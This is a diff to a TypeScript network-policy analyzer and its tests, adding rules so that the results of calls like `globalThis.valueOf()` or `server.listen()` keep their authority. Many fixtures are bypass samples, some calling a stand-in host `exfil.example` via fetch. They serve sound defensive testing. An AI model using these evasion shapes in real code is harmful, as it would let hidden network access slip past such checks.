diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts index 1b73f4e..3cac231 100644 --- a/tests/cockpit-host/d3-network-policy.test.ts +++ b/tests/cockpit-host/d3-network-policy.test.ts @@ -567,6 +567,201 @@ describe('D3 network policy fixpoint is explicit, bounded and fail-closed', () = }); }); +// --------------------------------------------------------------------------- +// Receiver-call result authority inheritance (PR #67 F2 / F3) +// --------------------------------------------------------------------------- + +describe('D3 network policy receiver-call result authority inheritance (PR #67 F2/F3)', () => { + const withServer = (rest: string): string => `${NS}\nconst server = http.createServer(${L});\n${rest}`; + const inListener = (body: string): string => `${NS}\nhttp.createServer((request, response) => {\n ${body}\n});`; + + const factsOfConst = (source: string, name: string): { facts: readonly string[]; result: NetworkPolicyResult; bound: number } => { + const inspection = inspectNetworkPolicy(source); + const declaration = collectNodes(inspection.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === name); + const symbol = declaration === undefined ? undefined : inspection.valueSymbolOf(declaration.name); + if (symbol === undefined) throw new Error(`no const ${name}`); + return { facts: inspection.factsOf(symbol), result: inspection.result, bound: inspection.fixpointBound }; + }; + + it('F2: denies every proven-target call-result witness through the existing target policy', () => { + for (const [source, reason] of [ + [withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), 'SERVER_EXPORT'], + [withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), 'SERVER_MEMBER'], + [withServer(`server.close().on('close', () => {});`), 'SERVER_MEMBER'], + [inListener(`response.setHeader('a', 'b').socket;`), 'RESPONSE_MEMBER'], + [inListener(`response.end('x').socket;`), 'RESPONSE_MEMBER'], + [inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), 'RESPONSE_ESCAPE'], + [withServer(`use(server.listen(1));`), 'SERVER_ESCAPE'], + [`${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, 'SERVER_MEMBER'], + [withServer(`const leaked = server.listen(1);\nuse(leaked);`), 'SERVER_ESCAPE'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + expect(result.fixpoint.state, source).toBe('CONVERGED'); + } + }); + + it('F3: denies every global-root call-result witness through the existing global-receiver rules', () => { + for (const [source, reason] of [ + [`globalThis.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis.global.valueOf().fetch('https://exfil.example/');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`const g = globalThis.valueOf();`, 'GLOBAL_RECEIVER_ESCAPE'], + [`window['valueOf']().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`use(self.valueOf());`, 'GLOBAL_RECEIVER_ESCAPE'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + } + }); + + it('F3: follows optional calls of permitted global members exactly like plain calls, with one finding each', () => { + for (const [source, reason] of [ + [`globalThis.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis?.valueOf?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis?.valueOf().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis['valueOf']?.().fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis['valueOf']?.().WebSocket;`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`(globalThis.valueOf?.() as any).fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`globalThis.valueOf?.().self.fetch('x');`, 'GLOBAL_RECEIVER_NETWORK_MEMBER'], + [`const g = globalThis.valueOf?.();`, 'GLOBAL_RECEIVER_ESCAPE'], + [`use(globalThis.valueOf?.());`, 'GLOBAL_RECEIVER_ESCAPE'], + [`function g() { return window.valueOf?.(); }`, 'GLOBAL_RECEIVER_ESCAPE'], + [`declare const k: string;\nglobalThis.valueOf?.()[k];`, 'GLOBAL_RECEIVER_RUNTIME_KEY'], + [`declare const k: string;\nglobalThis[k]?.().fetch('x');`, 'GLOBAL_RECEIVER_RUNTIME_KEY'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.verdict, source).toBe('DENY'); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([reason]); + expect(result.findings, `${source}\n${describeFindings(result)}`).toHaveLength(1); + } + for (const source of [ + `globalThis.valueOf?.();`, + `void globalThis.valueOf?.();`, + `typeof globalThis.valueOf?.();`, + `globalThis.valueOf?.().console.log('x');`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + }); + + it('preserves allowed chains, statement-position results and eligible propagation', () => { + for (const source of [ + withServer(`server.listen(1).close();`), + inListener(`response.setHeader('a', 'b').end('x');`), + withServer(`void server.listen(1);`), + withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`), + withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`), + withServer(`const started = server.listen(1);\nstarted.close();`), + `globalThis.console.log('x');`, + `globalThis.valueOf();`, + `globalThis.valueOf().console.log('x');`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + expect(result.verdict, source).toBe('ALLOW'); + } + }); + + it('establishes SERVER authority on a const alias of a listen result as ALIAS, converging within the derived bound', () => { + const rooted = factsOfConst(withServer(`const leaked = server.listen(1);\nleaked.close();`), 'leaked'); + expect(rooted.facts).toEqual(['SERVER:ALIAS']); + expect(rooted.result.fixpoint.state).toBe('CONVERGED'); + expect(rooted.result.fixpoint.iterations).toBeLessThanOrEqual(rooted.bound); + expect(rooted.result.fixpoint.bound).toBe(rooted.bound); + expect(rooted.result.verdict, describeFindings(rooted.result)).toBe('ALLOW'); + + const direct = factsOfConst(`${NS}\nconst leaked = http.createServer(${L}).listen(1);\nleaked.close();`, 'leaked'); + expect(direct.facts).toEqual(['SERVER:ALIAS']); + expect(direct.result.fixpoint.state).toBe('CONVERGED'); + + const chained = factsOfConst(withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`), 'b'); + expect(chained.facts).toEqual(['SERVER:ALIAS']); + expect(chained.result.fixpoint.state).toBe('CONVERGED'); + expect(chained.result.fixpoint.iterations).toBeLessThanOrEqual(chained.bound); + + const viaParam = factsOfConst(withServer(`function setup(s: http.Server) { const t = s.listen(1); t.close(); }\nsetup(server);`), 't'); + expect(viaParam.facts).toEqual(['SERVER:PARAM']); + expect(viaParam.result.fixpoint.state).toBe('CONVERGED'); + + const response = factsOfConst(inListener(`const r2 = response.setHeader('a', 'b');\nr2.end();`), 'r2'); + expect(response.facts).toEqual(['RESPONSE:ALIAS']); + }); + + it('does not let optional calls enter the direct-call rule: the existing member policy already denies them', () => { + const optionalCall = inspectNetworkPolicy(withServer(`const x = server.listen?.(1);\nuse(x);`)); + const declaration = collectNodes(optionalCall.sourceFile, ts.isVariableDeclaration).find((d) => ts.isIdentifier(d.name) && d.name.text === 'x'); + const symbol = declaration === undefined ? undefined : optionalCall.valueSymbolOf(declaration.name); + expect(symbol && optionalCall.factsOf(symbol)).toEqual([]); + expect(optionalCall.result.reasons).toEqual(['SERVER_MEMBER']); + for (const [source, reason] of [ + [withServer(`server.listen?.(1).on('x', () => {});`), 'SERVER_MEMBER'], + [withServer(`server?.listen(1).on('x', () => {});`), 'SERVER_MEMBER'], + [inListener(`response.end?.('x').socket;`), 'RESPONSE_MEMBER'], + ] as const) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, source).toEqual([reason]); + expect(result.findings, source).toHaveLength(1); + } + }); + + it('keeps computed/indeterminate keys on their existing verdicts without a second finding', () => { + const server = analyzeNetworkPolicy(withServer(`declare const k: string;\nserver[k]().on('x', () => {});`)); + expect(server.reasons).toEqual(['SERVER_MEMBER']); + expect(server.findings).toHaveLength(1); + const global = analyzeNetworkPolicy(`declare const k: string;\nglobalThis[k]().fetch('x');`); + expect(global.reasons).toEqual(['GLOBAL_RECEIVER_RUNTIME_KEY']); + expect(global.findings).toHaveLength(1); + const overLong = analyzeNetworkPolicy(withServer(`server['listenButMuchLongerThanAnyPolicyName']().on('x', () => {});`)); + expect(overLong.reasons).toEqual(['SERVER_MEMBER']); + expect(overLong.findings).toHaveLength(1); + }); + + it('gives user-defined methods no authority unless their receiver already carries it', () => { + for (const source of [ + withServer(`const o = { listen: () => ({ on: (x: string) => x }) };\no.listen().on('x');\nserver.close();`), + inListener(`const box = { end: () => ({ socket: 1 }) };\nbox.end().socket;\nresponse.end();`), + `const self = { valueOf: () => ({ fetch: 1 }) };\nconst v = self.valueOf();\nv.fetch;`, + `${NS}\nfunction other(request: any, response: any) { request.url().socket; response.end().socket; }`, + ]) { + const result = analyzeNetworkPolicy(source); + expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]); + } + const carried = analyzeNetworkPolicy(withServer(`function setup(s: http.Server) { s.listen(1).on('x', () => {}); }\nsetup(server);`)); + expect(carried.reasons).toEqual(['SERVER_MEMBER']); + }); + + it('leaves the existing escape rules effective', () => { + for (const [source, reason] of [ + [withServer(`use(server);`), 'SERVER_ESCAPE'], + [inListener(`const box = { request };`), 'REQUEST_ESCAPE'], + [inListener(`use(response);`), 'RESPONSE_ESCAPE'], + [`const g = globalThis;`, 'GLOBAL_RECEIVER_ESCAPE'], + [`use(self);`, 'GLOBAL_RECEIVER_ESCAPE'], + ] as const) { + expect(analyzeNetworkPolicy(source).reasons, source).toEqual([reason]); + } + }); + + it('is structural: one expression-authority lookup, no member-name special cases', () => { + const detector = readFileSync(detectorPath, 'utf8'); + expect(occurrences(detector, 'function expressionFacts(')).toBe(1); + expect(occurrences(detector, 'function inheritingReceiverOf(')).toBe(1); + expect(occurrences(detector, 'function classesOf(')).toBe(1); + expect(occurrences(detector, 'factsOf(ctx, valueSymbolOf(')).toBe(1); + // The optional-call follow is confined to the global-receiver path; target classes keep the direct-call predicate. + expect(occurrences(detector, 'const memberCallOf = ')).toBe(1); + expect(occurrences(detector, 'memberCallOf(parent)')).toBe(1); + expect(occurrences(detector, 'inheritingReceiverOf(ctx, ')).toBe(1); + for (const forbidden of ['valueOf', 'toString', 'EventSource', 'receiverPreserving', 'RETURNS_THIS']) { + expect(occurrences(detector, forbidden), forbidden).toBe(0); + } + expect(POLICY_KEY_NAMES).not.toContain('valueOf'); + }); +}); + // --------------------------------------------------------------------------- // Real host // --------------------------------------------------------------------------- diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts index 30d61cf..e760ff0 100644 --- a/tests/cockpit-host/support/d3-network-policy.ts +++ b/tests/cockpit-host/support/d3-network-policy.ts @@ -21,6 +21,7 @@ * One concept, one implementation: `valueSymbolOf` is the only symbol * resolution path; `resolveStaticKey` is the only key resolver; * `resolvePropagationParameter` is the only parameter-propagation predicate; + * `expressionFacts` is the only expression-authority lookup; * `Context.facts` is the only provenance map; `runFixpoint` is the only fixpoint. */ @@ -790,12 +791,40 @@ function factsOf(ctx: Context, symbol: ts.Symbol | undefined): readonly Fact[] { }); } -/** Authority classes carried by an expression (createServer result, factory result, or proven identifier). */ -function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet { +/** + * THE expression-authority lookup: the facts an expression carries — SERVER:ROOT + * for a proven createServer or confined factory result, a proven identifier's + * facts, or, through receiver-call result authority inheritance, the facts of + * the receiver named by `inheritingReceiverOf`. + */ +function expressionFacts(ctx: Context, expression: ts.Expression): readonly Fact[] { const node = unwrap(expression); - if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return new Set(['SERVER']); - if (ts.isIdentifier(node)) return new Set(factsOf(ctx, valueSymbolOf(ctx.checker, node)).map((fact) => fact.authority)); - return new Set(); + if (isProvenCreateServerCall(ctx, node) || isConfinedFactoryCall(ctx, node)) return [{ authority: 'SERVER', origin: 'ROOT' }]; + if (ts.isIdentifier(node)) return factsOf(ctx, valueSymbolOf(ctx.checker, node)); + const receiver = inheritingReceiverOf(ctx, node); + return receiver === null ? [] : expressionFacts(ctx, receiver); +} + +/** + * Receiver-call result authority inheritance: the receiver whose authority a + * call result conservatively retains. `node` must be a direct, non-optional + * call whose callee is a member access on an authority-carrying receiver that + * passes the positive member policy of every class the receiver carries. + * Nothing about the member's runtime semantics is proven by its name; the + * result is simply never allowed to become an unrestricted value. + */ +function inheritingReceiverOf(ctx: Context, node: ts.Node): ts.Expression | null { + if (!ts.isCallExpression(node) || node.questionDotToken !== undefined) return null; + const callee = unwrap(node.expression); + if (!isMemberAccess(callee)) return null; + const classes = classesOf(ctx, callee.expression); + if (classes.size === 0) return null; + return [...classes].every((authority) => memberAllowed(ctx, authority, callee)) ? callee.expression : null; +} + +/** Authority classes carried by an expression, through `expressionFacts`. */ +function classesOf(ctx: Context, expression: ts.Expression): ReadonlySet { + return new Set(expressionFacts(ctx, expression).map((fact) => fact.authority)); } /** Whether a symbol is SERVER through a non-PARAM origin (root result or alias of one). */ @@ -885,8 +914,8 @@ function runFixpoint(ctx: Context): FixpointReport { const initializer = unwrap(declaration.initializer); if (isProvenCreateServerCall(ctx, initializer) || isConfinedFactoryCall(ctx, initializer)) { if (addFact(ctx, symbol, { authority: 'SERVER', origin: 'ROOT' })) changed = true; - } else if (ts.isIdentifier(initializer)) { - for (const fact of factsOf(ctx, valueSymbolOf(ctx.checker, initializer))) { + } else { + for (const fact of expressionFacts(ctx, initializer)) { const origin: AuthorityOrigin = fact.origin === 'PARAM' ? 'PARAM' : 'ALIAS'; if (addFact(ctx, symbol, { authority: fact.authority, origin })) changed = true; } @@ -919,9 +948,22 @@ function runFixpoint(ctx: Context): FixpointReport { // Phase B: classification against the positive policies // --------------------------------------------------------------------------- -const isDirectCallee = (access: ts.Expression): boolean => { +/** The direct, non-optional call whose callee is `access` (through wrappers), or null. */ +const directCallOf = (access: ts.Expression): ts.CallExpression | null => { const { node, parent } = climb(access); - return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined; + return ts.isCallExpression(parent) && parent.expression === node && parent.questionDotToken === undefined ? parent : null; +}; + +const isDirectCallee = (access: ts.Expression): boolean => directCallOf(access) !== null; + +/** + * The call, optional or not, whose callee is `access` (through wrappers), or + * null. Global-receiver path only: an optional call of a permitted global + * member yields the same result as the plain call, so both are followed. + */ +const memberCallOf = (access: ts.Expression): ts.CallExpression | null => { + const { node, parent } = climb(access); + return ts.isCallExpression(parent) && parent.expression === node ? parent : null; }; const isNumericLiteralAssignment = (access: ts.Expression): boolean => { @@ -1072,11 +1114,16 @@ function checkCreateServerBindingUse(ctx: Context, id: ts.Identifier): void { } } -/** Shared verdict for a key read off a global receiver; `onSelfHop` handles a resolved global-root key. */ -function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): void { +/** + * Shared verdict for a key read off a global receiver; `onSelfHop` handles a + * resolved global-root key. Returns whether the key is a permitted static member. + */ +function checkGlobalKey(ctx: Context, key: StaticKey, at: ts.Node, onSelfHop: () => void): boolean { if (key.kind === 'INDETERMINATE') deny(ctx, 'GLOBAL_RECEIVER_RUNTIME_KEY', at); else if (isResolvedTo(key, NETWORK_GLOBAL_NAMES)) deny(ctx, 'GLOBAL_RECEIVER_NETWORK_MEMBER', at); else if (isResolvedTo(key, GLOBAL_RECEIVER_NAMES)) onSelfHop(); + else return true; + return false; } function checkGlobalBindingPattern(ctx: Context, pattern: ts.BindingPattern): void { @@ -1126,9 +1173,14 @@ function checkGlobalReceiverUse(ctx: Context, expression: ts.Expression): void { const { node, parent } = climb(expression); if (ts.isExpressionStatement(parent) || ts.isVoidExpression(parent) || ts.isTypeOfExpression(parent)) return; if (isMemberAccess(parent) && parent.expression === node) { - checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => { + const permitted = checkGlobalKey(ctx, memberKey(ctx, parent), parent, () => { checkGlobalReceiverUse(ctx, parent); }); + // Receiver-call result authority inheritance: the result of a call of a + // permitted static member, optional or not, conservatively retains + // global-root authority and is checked as such. + const call = permitted ? memberCallOf(parent) : null; + if (call !== null) checkGlobalReceiverUse(ctx, call); return; } if (ts.isVariableDeclaration(parent) && parent.initializer === node) { @@ -1164,8 +1216,13 @@ function classify(ctx: Context): void { if (classes.size > 0) for (const id of reads) checkTargetUse(ctx, id, classes); } for (const call of ctx.calls) { - if (isProvenCreateServerCall(ctx, call)) checkCreateServerCall(ctx, call); - else if (isConfinedFactoryCall(ctx, call)) checkTargetUse(ctx, call, new Set(['SERVER'])); + if (isProvenCreateServerCall(ctx, call)) { + checkCreateServerCall(ctx, call); + continue; + } + // Confined factory results and receiver-call results carry authority into their use site. + const classes = classesOf(ctx, call); + if (classes.size > 0) checkTargetUse(ctx, call, classes); } } diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts index ed92762..28ae98d 100644 --- a/tests/cockpit-host/support/d3-regression-matrix.ts +++ b/tests/cockpit-host/support/d3-regression-matrix.ts @@ -300,6 +300,35 @@ globalThis.fetch;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER'], ), allow('free-global identity', 'global-root name as a property key', `const g = { globalThis: 1, window: 2 };\ng.globalThis + g.window;`), + // PR #67 F3: the result of a direct non-optional call of a permitted static member retains global-root authority. + deny('free-global identity', 'permitted member call result reaches fetch (PR #67 F3)', `globalThis.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'self-hop then permitted member call result reaches fetch', `globalThis.global.valueOf().fetch('https://exfil.example/');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'permitted member call result forwarded through const', `const g = globalThis.valueOf();`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'permitted member call result forwarded through call argument', `use(window.valueOf());`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'permitted member call result forwarded through return', `function g() { return self.valueOf(); }`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'permitted member call result through static element key', `self['valueOf']().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'permitted member call result wrapped', `(globalThis.valueOf() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'permitted member call result destructured to fetch', `const { fetch: f } = globalThis.valueOf();`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'permitted member call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), + deny('free-global identity', 'permitted member call result self-hop then fetch', `globalThis.valueOf().window.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'chained permitted member call results', `globalThis.valueOf().valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'any permitted member call result retains root authority (not name-specific)', `const t = globalThis.toString();`, ['GLOBAL_RECEIVER_ESCAPE']), + allow('free-global identity', 'permitted member call as statement, void, typeof', `globalThis.valueOf();\nvoid globalThis.valueOf();\ntypeof globalThis.valueOf();`), + allow('free-global identity', 'non-network member of a permitted member call result', `globalThis.valueOf().console.log('x');`), + // PR #67 F3 (optional-call continuation): an optional call of a permitted member yields the same root value. + deny('free-global identity', 'optional call of a permitted member reaches fetch (PR #67 F3)', `globalThis.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional member and optional call reach fetch', `globalThis?.valueOf?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional member and normal call reach fetch', `globalThis?.valueOf().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional call through a static element key reaches fetch', `globalThis['valueOf']?.().fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional call through a static element key reaches WebSocket', `globalThis['valueOf']?.().WebSocket;`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional call result forwarded through const', `const g = globalThis.valueOf?.();`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'optional call result forwarded through call argument', `use(globalThis.valueOf?.());`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'optional call result forwarded through return', `function g() { return window.valueOf?.(); }`, ['GLOBAL_RECEIVER_ESCAPE']), + deny('free-global identity', 'optional call result wrapped', `(globalThis.valueOf?.() as any).fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional call result self-hop then fetch', `globalThis.valueOf?.().self.fetch('x');`, ['GLOBAL_RECEIVER_NETWORK_MEMBER']), + deny('free-global identity', 'optional call result read through a runtime key', `declare const k: string;\nglobalThis.valueOf?.()[k];`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), + allow('free-global identity', 'optional permitted member call as statement, void, typeof', `globalThis.valueOf?.();\nvoid globalThis.valueOf?.();\ntypeof globalThis.valueOf?.();`), + allow('free-global identity', 'non-network member of an optional permitted member call result', `globalThis.valueOf?.().console.log('x');`), ]; // --------------------------------------------------------------------------- @@ -438,6 +467,20 @@ const SOCKET: readonly RegressionRow[] = [ allow('socket acquisition through proven target policy', 'close', withServer(`server.close();`)), allow('socket acquisition through proven target policy', 'request.method and request.url', inListener(`const m = request.method ?? '';\nconst u = request.url;\nm + u;`)), allow('socket acquisition through proven target policy', 'response setHeader/end/statusCode', inListener(`response.statusCode = 404;\nresponse.setHeader('a', 'b');\nresponse.end('x');`)), + // PR #67 F2: the result of a direct non-optional allowed member call retains the receiver's authority. + deny('socket acquisition through proven target policy', 'listen result subscribes to connection (PR #67 F2)', withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'close result subscribes', withServer(`server.close().on('close', () => {});`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'listen result address', withServer(`server.listen(1).address();`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'setHeader result socket', inListener(`response.setHeader('a', 'b').socket;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'end result socket', inListener(`response.end('x').socket;`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'end result socket through wrapper', inListener(`(response.end('x') as any).socket.write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'setHeader result write', inListener(`response.setHeader('a', 'b').write('x');`), ['RESPONSE_MEMBER']), + deny('socket acquisition through proven target policy', 'static element key call result', withServer(`server['listen'](1)['on']('x', () => {});`), ['SERVER_MEMBER']), + deny('socket acquisition through proven target policy', 'listen result destructured', withServer(`const { on } = server.listen(1);`), ['SERVER_DESTRUCTURING']), + allow('socket acquisition through proven target policy', 'listen result close chain', withServer(`server.listen(1).close();`)), + allow('socket acquisition through proven target policy', 'setHeader result end chain', inListener(`response.setHeader('a', 'b').end('x');`)), + allow('socket acquisition through proven target policy', 'listen result as void operand', withServer(`void server.listen(1);`)), + allow('socket acquisition through proven target policy', 'chained allowed calls of arbitrary length', withServer(`server.listen(1).close().listen(2).close();`)), ]; // --------------------------------------------------------------------------- @@ -454,6 +497,8 @@ const RUNTIME_KEYS: readonly RegressionRow[] = [ deny('runtime keys', 'computed destructuring assignment key from globalThis', `declare const k: string;\nlet v;\n({ [k]: v } = globalThis);`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), deny('runtime keys', 'parameter key on request', inListener(`function read(k: string) { return request[k]; }`), ['REQUEST_MEMBER']), deny('runtime keys', 'http[k] with parameter', `${NS}\nfunction pick(k: string) { return http[k]; }`, ['HTTP_NAMESPACE_RUNTIME_KEY']), + deny('runtime keys', 'server[k]() result keeps existing member verdict', withServer(`declare const k: string;\nserver[k]().on('x', () => {});`), ['SERVER_MEMBER']), + deny('runtime keys', 'globalThis[k]() result keeps existing runtime-key verdict', `declare const k: string;\nglobalThis[k]().fetch('x');`, ['GLOBAL_RECEIVER_RUNTIME_KEY']), ]; // --------------------------------------------------------------------------- @@ -481,6 +526,14 @@ const ALIAS: readonly RegressionRow[] = [ deny('alias propagation', 'alias then escape', withServer(`const a = server;\nuse(a);`), ['SERVER_ESCAPE']), deny('alias propagation', 'alias then non-allowed member', inListener(`const q = request;\nq.socket;`), ['REQUEST_MEMBER']), deny('alias propagation', 'ambient const alias', withServer(`declare const a: typeof server;\nconst b = server;\nb.on('x', () => {});`), ['SERVER_MEMBER']), + // PR #67 F2: a const alias of an allowed member call result carries the receiver's authority. + deny('alias propagation', 'const alias of listen result then escape (PR #67 F2)', withServer(`const leaked = server.listen(1);\nuse(leaked);`), ['SERVER_ESCAPE']), + deny('alias propagation', 'const alias of setHeader result then escape', inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), ['RESPONSE_ESCAPE']), + deny('alias propagation', 'const alias of end result then socket', inListener(`const r2 = response.end('x');\nr2.socket;`), ['RESPONSE_MEMBER']), + deny('alias propagation', 'alias chain through allowed call results', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.on('x', () => {});`), ['SERVER_MEMBER']), + deny('alias propagation', 'PARAM-derived call result alias escapes', withServer(`function setup(s: http.Server) { const t = s.listen(1); use(t); }\nsetup(server);`), ['SERVER_ESCAPE']), + deny('alias propagation', 'let binding of listen result', withServer(`let started = server.listen(1);`), ['SERVER_MUTABLE_BINDING']), + allow('alias propagation', 'const alias of listen result used within policy', withServer(`const started = server.listen(1);\nstarted.close();`)), ]; // --------------------------------------------------------------------------- @@ -836,6 +889,16 @@ const RESULT: readonly RegressionRow[] = [ deny('result confinement', 'result in a nullish expression', `${NS}\nconst s = http.createServer(${L}) ?? null;`, ['SERVER_ESCAPE']), deny('result confinement', 'result in an equality test', `${NS}\nif (http.createServer(${L}) === null) {}`, ['SERVER_ESCAPE']), deny('result confinement', 'result as heritage expression', `${NS}\nclass Sub extends (http.createServer(${L}) as any) {}`, ['SERVER_ESCAPE']), + // PR #67 F2: allowed member call results are confined exactly like the values they were called on. + deny('result confinement', 'listen result as call argument (PR #67 F2)', withServer(`use(server.listen(1));`), ['SERVER_ESCAPE']), + deny('result confinement', 'createServer result listen chain non-allowed member', `${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, ['SERVER_MEMBER']), + deny('result confinement', 'listen result in container', withServer(`const a = [server.listen(1)];`), ['SERVER_ESCAPE']), + deny('result confinement', 'listen result returned from an unconfined function', withServer(`function start() { return server.listen(1); }`), ['SERVER_UNCONFINED_RETURN']), + deny('result confinement', 'end result returned from an arrow body', inListener(`const send = () => response.end('x');`), ['RESPONSE_UNCONFINED_RETURN']), + deny('result confinement', 'listen result assigned', withServer(`let s;\ns = server.listen(1);`), ['SERVER_ESCAPE']), + deny('result confinement', 'listen result propagated then misused', withServer(`function setup(s: http.Server) { s.on('x', () => {}); }\nsetup(server.listen(1));`), ['SERVER_MEMBER']), + allow('result confinement', 'listen result passed to an eligible local callee', withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`)), + allow('result confinement', 'listen result as expression statement', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)), ]; // --------------------------------------------------------------------------- @@ -853,6 +916,10 @@ const EXPORT: readonly RegressionRow[] = [ deny('export confinement', 'export = server', withServer(`export = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }), deny('export confinement', 'export of a const alias of server', withServer(`const alias = server;\nexport { alias };`), ['SERVER_EXPORT'], { closes: ['F-7'] }), deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }), + // PR #67 F2: exporting an allowed member call result exports the receiver's authority. + deny('export confinement', 'export const leaked = server.listen(...) (PR #67 F2)', withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']), + deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(1);`), ['SERVER_EXPORT']), + deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(1);\nexport { leaked };`), ['SERVER_EXPORT']), allow('export confinement', 'export function factory', withFactory(``)), allow('export confinement', 'export { factory }', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport { createCockpitServer };`), allow('export confinement', 'export default function factory', `${NS}\nexport default function createCockpitServer() { return http.createServer(${L}); }`), @@ -871,6 +938,7 @@ const FIXPOINT: readonly RegressionRow[] = [ deny('convergence/exhaustion', 'exhaustion denies even an otherwise-allowed real host shape', REAL_HOST_SHAPE, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }), allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(1);`)), allow('convergence/exhaustion', 'empty file converges', ``), + allow('convergence/exhaustion', 'alias chain through allowed call results converges', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`)), ]; // --------------------------------------------------------------------------- @@ -896,6 +964,11 @@ const EXTRA_PARAMETERS: readonly RegressionRow[] = [ allow('extra parameter false positives', 'callee third parameter unprivileged even when first two are privileged', `${NS}\nfunction f(req: any, res: any, ctx: any) { ctx.socket; res.end(); }\nhttp.createServer((request, response) => { f(request, response, {}); });`, { closes: ['F-1'], }), + // PR #67: call results inherit authority only from a receiver that already carries it. + 